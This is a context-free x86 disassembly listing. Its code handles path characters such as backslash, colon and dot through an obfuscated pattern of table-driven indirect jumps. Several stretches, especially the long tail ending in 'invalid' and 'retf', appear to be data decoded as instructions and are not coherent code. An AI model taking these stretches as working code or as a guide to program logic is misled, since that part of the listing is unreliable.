mov esi, ebx
mov edi, dword [ebp + 8]
jmp eax
stosd dword es:[edi], eax
cmc
xchg ecx, eax
out 0x85, al
xor ah, byte [esi - 0x7d]
in al, dx
or al, 0x50
sub esp, 8
push eax
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
mov edx, edi
add edx, 2
mov ax, word [edi + 2]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [ebp - 0x208], ecx
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0x1b8], 1
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [eax], 0x5c
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e1f0
mov cx, word [edi]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [ebp - 0x320], 0
mov edx, dword [ebp - 0x324]
mov ebx, edi
mov edi, dword [ebp - 0x320]
mov edx, dword [edx + edi*4]
mov edi, ebx
jmp edx
mov esi, dword [ebp - 0x10]
mov word [esi], 0x5c
add esi, 2
add edi, 2
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x314]
mov eax, dword [ecx + eax*4]
mov edx, edi
mov ebx, dword [ebp + 0xc]
jmp eax
mov esi, dword [ebp - 0x10]
add esi, 0xfffffffe
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1d4]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.0043e4e0
add esp, 8
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [esi]
test ax, ax
sete al
mov ecx, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1ec]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
mov dword [ebp - 0x130], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [ebp - 0x34], edx
mov ebx, dword [ebp + 0xc]
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x200], ecx
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x200]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0xc0], 1
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov edx, edi
add edx, 4
mov dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x170]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0x160], 1
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
mov eax, dword [eax + ecx*4]
mov ebx, edi
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x24], esi
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x36c]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
add edi, 4
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x23c]
mov eax, dword [ecx + eax*4]
mov edx, edi
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x10]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x2e8], ecx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [ebp - 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ebp - 0x248]
mov edx, dword [ebp - 0x24c]
mov ecx, dword [edx + ecx*4]
mov esi, eax
mov edx, edi
jmp ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], edi
movzx eax, al
and eax, 1
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x374]
mov ecx, dword [ebp - 0x370]
mov eax, dword [eax + ecx*4]
jmp eax
mov edi, edx
call fcn.0040e1f0
mov dword [ebp - 0x258], 1
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
jno 0x43e4d0
push ds
sub dword [ebx + 0x4d8bb045], ecx
lodsb al, byte [esi]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, esi
sub ecx, 2
sete al
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
invalid
lds eax, [ebx]
add ebp, 0xc9a60043
inc ebx
add dh, dl
lds eax, [ebx]
test cl, cl
leave
inc ebx
add byte [ecx + ecx*8 - 0x3980ffbd], al
leave
inc ebx
add byte [edi - 0x3a], bh
leave
inc ebx
add byte [edi - 0x3a], bh
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x3a], bh
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x37], bh
inc ebx
add byte [edx - 0x4cffbc3a], ah
mov dword [ebx], case.0x43c7ac.0
pop edx
leave
inc ebx
add ah, dh
mov dword [ebx], case.0x43c878.6
leave
inc ebx
add byte [edi - 0x38], bh
leave
inc ebx
add byte [edi - 0x38], bh
inc ebx
add byte [esi], dh
leave
inc ebx
add byte [eax], dl
leave
inc ebx
add byte [esi], ah
leave
inc ebx
add byte [esi], dh
leave
inc ebx
add byte [edi], bh
leave
inc ebx
add byte [eax - 0x37], cl
inc ebx
add byte [eax - 0x5fffbc37], ah
leave
inc ebx
add byte [eax - 0x5dffbc37], ah
leave
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x5dffbc37], ah
retf 0x43
retf